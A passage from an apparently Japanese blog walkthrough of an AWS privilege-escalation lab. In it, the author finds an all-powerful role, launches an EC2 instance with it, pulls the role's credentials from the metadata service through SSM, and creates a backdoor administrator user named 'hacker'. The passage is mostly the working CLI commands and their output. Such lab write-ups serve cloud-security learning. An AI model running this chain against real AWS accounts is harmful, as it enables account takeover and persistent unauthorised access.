  2. 新規インスタンスに対して強い権限を持つロールを渡す
  3. 新規インスタンスからクレデンシャルを取得する
  4. 取得したクレデンシャルを使用してAWSユーザを作成する

強い権限を持ったロールを探す

 新規EC2インスタンスにアタッチするロールを探します。

登録されているロール一覧を取得 (aws iam list-roles)

 ロールの一覧を表示し、権限の強いポリシーがアタッチされたロールを探します。
(いくつかのロールが表示されますが、重要なロールだけを記載します。)

$ aws iam list-roles

 興味深いロール「ec2Deployer-role」を見つけることができました。
(※ この結果だけでは強いロールかどうかを判断することはできません。実際の現場などでは一通りアタッチされたポリシーの権限を確認することになると思います。)

{
    "Path": "/",
    "RoleName": "ec2Deployer-role",
    "RoleId": "AROAVJV7MGT35ADFGYUUP",
    "Arn": "arn:aws:iam::364300000000:role/ec2Deployer-role",
    "CreateDate": "2023-05-29T12:14:16+00:00",
    "AssumeRolePolicyDocument": {
        "Version": "2008-10-17",
        "Statement": [
            {
                "Sid": "",
                "Effect": "Allow",
                "Principal": {
                    "Service": "ec2.amazonaws.com"
                },
                "Action": "sts:AssumeRole"
            }
        ]
    },
    "MaxSessionDuration": 3600
}

ロールにアタッチされているポリシーを取得 (aws iam list-attached-role-policies)

 ロール「ec2Deployer-role」にアタッチされているポリシーを確認します。

$ aws iam list-attached-role-policies --role-name ec2Deployer-role

 ポリシー「ec2DeployerAdmin-policy」がアタッチされています。

{
    "AttachedPolicies": [
        {
            "PolicyName": "ec2DeployerAdmin-policy",
            "PolicyArn": "arn:aws:iam::364300000000:policy/ec2DeployerAdmin-policy"
        }
    ]
}

ポリシーの詳細を確認 (aws iam get-policy-version)

 ポリシー「ec2DeployerAdmin-policy」のポリシードキュメントを確認します。

$ aws iam get-policy-version \
    --policy-arn arn:aws:iam::364300000000:policy/ec2DeployerAdmin-policy \
    --version-id v1

 このポリシーは「すべてのリソースに対してすべてのアクションを実行できるポリシー」のようです。

{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": [
                        "*"
                    ],
                    "Effect": "Allow",
                    "Resource": "*",
                    "Sid": "Policy1"
                }
            ],
            "Version": "2012-10-17"
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2023-05-29T12:14:16+00:00"
    }
}

インスタンスプロファイルの探索 (aws iam list-instance-profiles)

 インスタンスプロファイルの一覧を表示し、ロール「ec2Deployer-role」が含まれているインスタンスプロファイルを探します。

$ aws iam list-instance-profiles

 ロール「ec2Deployer-role」を持っているインスタンスプロファイル「ec2Deployer」を見つけることができました。

{
    "InstanceProfiles": [
        {
            "Path": "/",
            "InstanceProfileName": "ec2Deployer",
            "InstanceProfileId": "AIPAVJV7MGT3UHRAPLDQH",
            "Arn": "arn:aws:iam::364300000000:instance-profile/ec2Deployer",
            "CreateDate": "2023-05-29T12:14:17+00:00",
            "Roles": [
                {
                    "Path": "/",
                    "RoleName": "ec2Deployer-role",
                    "RoleId": "AROAVJV7MGT35ADFGYUUP",
                    "Arn": "arn:aws:iam::364300000000:role/ec2Deployer-role",
                    "CreateDate": "2023-05-29T12:14:16+00:00",
                    "AssumeRolePolicyDocument": {
                        "Version": "2008-10-17",
                        "Statement": [
                            {
                                "Sid": "",
                                "Effect": "Allow",
                                "Principal": {
                                    "Service": "ec2.amazonaws.com"
                                },
                                "Action": "sts:AssumeRole"
                            }
                        ]
                    }
                }
            ]
        }
    ]
}

 無事、新規EC2インスタンスにアタッチするロールを見つけることができたので、インスタンスの作成を実施していきます。

EC2インスタンスを作成する

 EC2インスタンスを作成するには以下の情報が必要です。

EC2起動に必要なパラメータ
AMI ID ami-(不明)
インスタンスプロファイル名 ec2Deployer
サブネット ID subnet-(不明)
セキュリティグループ ID sg-(不明)

Amazon Linux 2 AMI のIDを取得 (aws ec2 describe-images)

 新規EC2インスタンスのOSは Amazon Linux 2 で起動させることにします。そのために AMI ID を取得します。

$ aws ec2 describe-images --owners amazon \
    --filters 'Name=name,Values=amzn-ami-hvm-*-x86_64-gp2' 'Name=state,Values=available' \
    --query 'reverse(sort_by(Images,&CreationDate))[:1].{id:ImageId,date:CreationDate}'

 AMI ID「ami-0f792671d5139f458」を取得することができました。

[
    {
        "id": "ami-0f792671d5139f458",
        "date": "2023-05-16T22:51:19.000Z"
    }
]
EC2起動に必要なパラメータ
AMI ID ami-0f792671d5139f458
インスタンスプロファイル名 ec2Deployer
サブネット ID subnet-(不明)
セキュリティグループ ID sg-(不明)

サブネット IDを取得 (aws ec2 describe-subnets)

 次はサブネットの情報を取得します。

$ aws ec2 describe-subnets

 サブネット ID「subnet-0448624xxxxxxxxxx」を取得することができました。このサブネットにEC2を起動することにします。

 利用可能なセキュリティグループを判別するため VPC ID「vpc-0ed391xxxxxxxxxxx」もメモしておきます。

{
    "Subnets": [
        {
            "AvailabilityZone": "us-east-1a",
            "AvailabilityZoneId": "use1-az2",
            "AvailableIpAddressCount": 248,
            "CidrBlock": "10.0.1.0/24",
            "DefaultForAz": false,
            "MapPublicIpOnLaunch": true,
            "MapCustomerOwnedIpOnLaunch": false,
            "State": "available",
            "SubnetId": "subnet-0448624xxxxxxxxxx",
            "VpcId": "vpc-0ed391xxxxxxxxxxx",
            "OwnerId": "364300000000",
            "AssignIpv6AddressOnCreation": false,
            "Ipv6CidrBlockAssociationSet": [],
            "SubnetArn": "arn:aws:ec2:us-east-1:364300000000:subnet/subnet-0448624xxxxxxxxxx",
            "EnableDns64": false,
            "Ipv6Native": false,
            "PrivateDnsNameOptionsOnLaunch": {
                "HostnameType": "ip-name",
                "EnableResourceNameDnsARecord": false,
                "EnableResourceNameDnsAAAARecord": false
            }
        }
    ]
}
EC2起動に必要なパラメータ
AMI ID ami-0f792671d5139f458
インスタンスプロファイル名 ec2Deployer
サブネット ID subnet-0448624xxxxxxxxxx
セキュリティグループ ID sg-(不明)

セキュリティグループを取得 (aws ec2 describe-security-groups)

 VPC ID「vpc-0ed391xxxxxxxxxxx」のセキュリティグループを探します。

$ aws ec2 describe-security-groups

 セキュリティグループ ID「sg-0d12e6bbxxxxxxxxx」を取得できました。

{
    "SecurityGroups": [
        {
            "Description": "SG for cluster created from terraform",
            "GroupName": "ECS-SG",
            "IpPermissions": [
                {
                    "FromPort": 0,
                    "IpProtocol": "tcp",
                    "IpRanges": [],
                    "Ipv6Ranges": [],
                    "PrefixListIds": [],
                    "ToPort": 65535,
                    "UserIdGroupPairs": [
                        {
                            "GroupId": "sg-0d12e6bbxxxxxxxxx",
                            "UserId": "364300000000"
                        }
                    ]
                }
            ],
            "OwnerId": "364300000000",
            "GroupId": "sg-0602041b3c7afacd3",
            "IpPermissionsEgress": [
                {
                    "IpProtocol": "-1",
                    "IpRanges": [
                        {
                            "CidrIp": "0.0.0.0/0"
                        }
                    ],
                    "Ipv6Ranges": [],
                    "PrefixListIds": [],
                    "UserIdGroupPairs": []
                }
            ],
            "VpcId": "vpc-0ed391xxxxxxxxxxx"
        }
    ]
}
EC2起動に必要なパラメータ
AMI ID ami-0f792671d5139f458
インスタンスプロファイル名 ec2Deployer
サブネット ID subnet-0448624xxxxxxxxxx
セキュリティグループ ID sg-0d12e6bbxxxxxxxxx

 EC2インスタンスの作成に必要な情報が集まったので、新規インスタンスを起動します。

EC2インスタンスの起動 (aws ec2 run-instances)

InstanceId i-0f7f96d4e98xxxxx

 取得した「サブネットID」、「AMI ID」「インスタンスプロファイル」「セキュリティグループ ID」をコマンドの引数にしてEC2インスタンスを起動します。

$ aws ec2 run-instances \
    --subnet-id subnet-0448624xxxxxxxxxx \
    --image-id ami-0f792671d5139f458 \
    --iam-instance-profile Name=ec2Deployer \
    --instance-type t2.micro \
    --security-group-ids "sg-0d12e6bbxxxxxxxxx"

 以下のように出力されたら正常にEC2インストタンスが作成されています。

 インスタンス ID(i-0f7f96d4e98xxxxx)は後々利用しますので、メモしておきます。

{
    "Groups": [],
    "Instances": [
        {
            "AmiLaunchIndex": 0,
            "ImageId": "ami-0f792671d5139f458",
            "InstanceId": "i-0f7f96d4e98xxxxx",
            "InstanceType": "t2.micro",
            "LaunchTime": "2023-05-29T14:29:33+00:00",
            "Monitoring": {
                "State": "disabled"
            },
            "Placement": {
                "AvailabilityZone": "us-east-1a",
                "GroupName": "",
                "Tenancy": "default"
            },
            // (省略)
        }
    ],
    "OwnerId": "364300000000",
    "ReservationId": "r-082ff278135b2d082"
}

AWS コンソール上でも作成したEC2インスタンスを確認することができました。

ロールの一時的なアクセス資格を取得

作成したEC2内のメタデータサービスにアクセスして、クレデンシャルを取得します。

EC2内でコマンドを実行 (aws ssm send-command)

 「ec2Deployer-role」の一時的なアクセス資格を取得します。

 新規EC2インスタンス内で以下のコマンドを実行することで一時的なアクセス資格を取得することができます。
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2Deployer-role/

 インスタンス内でコマンドを実行するために以下のコマンドを実行します。

$ aws ssm send-command \
    --document-name "AWS-RunShellScript" \
    --parameters 'commands=["curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2Deployer-role/"]' \
    --targets "Key=instanceids,Values=i-0f7f96d4e98xxxxx" \
    --comment "aws cli 1"

 インスタンス内で実行したコマンドの結果を取得するために「CommandId」の値(1d062099-91ba-4520-bcf1-b0e42f26d26e)を取得します。

{
    "Command": {
        "CommandId": "1d062099-91ba-4520-bcf1-b0e42f26d26e",
        "DocumentName": "AWS-RunShellScript",
        "DocumentVersion": "$DEFAULT",
        "Comment": "aws cli 1",
        "ExpiresAfter": "2023-05-30T01:34:17.094000+09:00",
        "Parameters": {
            "commands": [
                "curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2Deployer-role/"
            ]
        },
        //(省略)
    }
}

コマンドの結果を取得 (aws ssm get-command-invocation)

 前に実行したコマンドの結果を取得します。

$ aws ssm get-command-invocation \
    --command-id "1d062099-91ba-4520-bcf1-b0e42f26d26e" \
    --instance-id "i-0f7f96d4e98xxxxx"

 結果にクレデンシャルが含まれています。

{
    "CommandId": "1d062099-91ba-4520-bcf1-b0e42f26d26e",
    "InstanceId": "i-0f7f96d4e98xxxxx",
    "Comment": "aws cli 1",
    "DocumentName": "AWS-RunShellScript",
    "DocumentVersion": "$DEFAULT",
    "PluginName": "aws:runShellScript",
    "ResponseCode": 0,
    "ExecutionStartDateTime": "2023-05-29T14:34:17.844Z",
    "ExecutionElapsedTime": "PT0.053S",
    "ExecutionEndDateTime": "2023-05-29T14:34:17.844Z",
    "Status": "Success",
    "StatusDetails": "Success",
    "StandardOutputContent": "{\n  \"Code\" : \"Success\",\n  \"LastUpdated\" : \"2023-05-29T14:29:38Z\",\n  \"Type\" : \"AWS-HMAC\",\n  \"AccessKeyId\" : \"ASIAVJXXXXXXXXXXXXXX\",\n  \"SecretAccessKey\" : \"vtHr/KJqQ1+miLKhxxxxxxxxxxxxxxxxxxxxxxxx\",\n  \"Token\" : \"IQoJb3JpZ2luX2VjED8aCXVzLWVhc3QtMSJGMEQCIxxxxx\",\n  \"Expiration\" : \"2023-05-29T21:04:36Z\"\n}",
    "StandardOutputUrl": "",
    "StandardErrorContent": "  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current\n                                 Dload  Upload   Total   Spent    Left  Speed\n\r  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0\r100  1566  100  1566    0     0   509k      0 --:--:-- --:--:-- --:--:--  509k\n",
    "StandardErrorUrl": "",
    "CloudWatchOutputConfig": {
        "CloudWatchLogGroupName": "",
        "CloudWatchOutputEnabled": false
    }
}

クレデンシャルの有効性を確認 (aws sts get-caller-identity)

 取得したクレデンシャルを設定し、有効であるかを確認します。

export AWS_ACCESS_KEY_ID=ASIAVJXXXXXXXXXXXXXX
export AWS_SECRET_ACCESS_KEY=vtHr/KJqQ1+miLKhxxxxxxxxxxxxxxxxxxxxxxxx
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjED8aCXVzLWVhc3QtMSJGMEQCIxxxxx

 このクレデンシャルを持つIAMユーザーまたはロールに関する詳細が返されることから、取得できたクレデンシャルが有効であることが確認できました。

$ aws sts get-caller-identity
{
    "UserId": "AROAVJV7MGT35ADFGYUUP:i-0f7f96d4e98xxxxx",
    "Account": "364300000000",
    "Arn": "arn:aws:sts::364300000000:assumed-role/ec2Deployer-role/i-0f7f96d4e98xxxxx"
}

バックドアAWSユーザの作成

 とうとう最後のフェーズです。

 取得したクレデンシャルを利用しバックドアAWSユーザを追加します。さらにそのユーザに対して管理者権限を付与しましょう。

 ログインできるようにパスワードの設定を行います。AWS CLI で利用できるように当ユーザのクレデンシャルの発行も行います。

AWSユーザの作成 (aws iam create-user)

 取得したクレデンシャルを利用して、最終目標であるバックドアAWSユーザを追加を行います。

 「hacker」という名のAWSユーザ追加します。

$ aws iam create-user --user-name hacker
{
    "User": {
        "Path": "/",
        "UserName": "hacker",
        "UserId": "AIDAVJV7MGT3RYW4XXXXX",
        "Arn": "arn:aws:iam::364300000000:user/hacker",
        "CreateDate": "2023-05-29T14:37:50+00:00"
    }
}

ユーザにポリシーを付与 (aws iam attach-user-policy)

 AWSユーザ「hacker」にポリシー「AdministratorAccess」を追加します。

$ aws iam attach-user-policy \
    --policy-arn arn:aws:iam::aws:policy/AdministratorAccess \
    --user-name hacker

 これで管理者アカウントを外部から追加できたことになります!!

ログイン時の認証情報を作成 (aws iam create-login-profile)

 AWSユーザ「hacker」にパスワードを設定します。

$ aws iam create-login-profile \
    --user-name hacker \
    --password hackerPassword@123
{
    "LoginProfile": {
        "UserName": "hacker",
        "CreateDate": "2023-05-29T14:38:47+00:00",
        "PasswordResetRequired": false
    }
}

APIのクレデンシャルを作成 (aws iam create-access-key)

 AWSユーザ「hacker」のクレデンシャルを作成します。

$ aws iam create-access-key --user-name hacker
{
    "AccessKey": {
        "UserName": "hacker",
        "AccessKeyId": "AKIAVJVXXXXXXXXXXXXX",
        "Status": "Active",
        "SecretAccessKey": "5+VAgyEemxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
        "CreateDate": "2023-05-29T14:38:52+00:00"
    }
}

 AWSコンソール上でもこのAWSユーザ追加されていることが確認できました。

後片付け

 学習中に追加したリソースを先に削除し、最後に Terraform で追加したリソースを削除するといい感じがします。

  1. EC2の「i-0f7f96d4e98xxxxx」を削除
  2. IAMユーザの「hacker」を削除
  3. GitHub Actionで「Terraform Destroy」を実行

更新履歴

History for entry/tag:blog.hatena.ne.jp,2013:blog-motikan2010-10328749687205827604-820878482937162731.md - motikan2010/blog.motikan2010.com · GitHub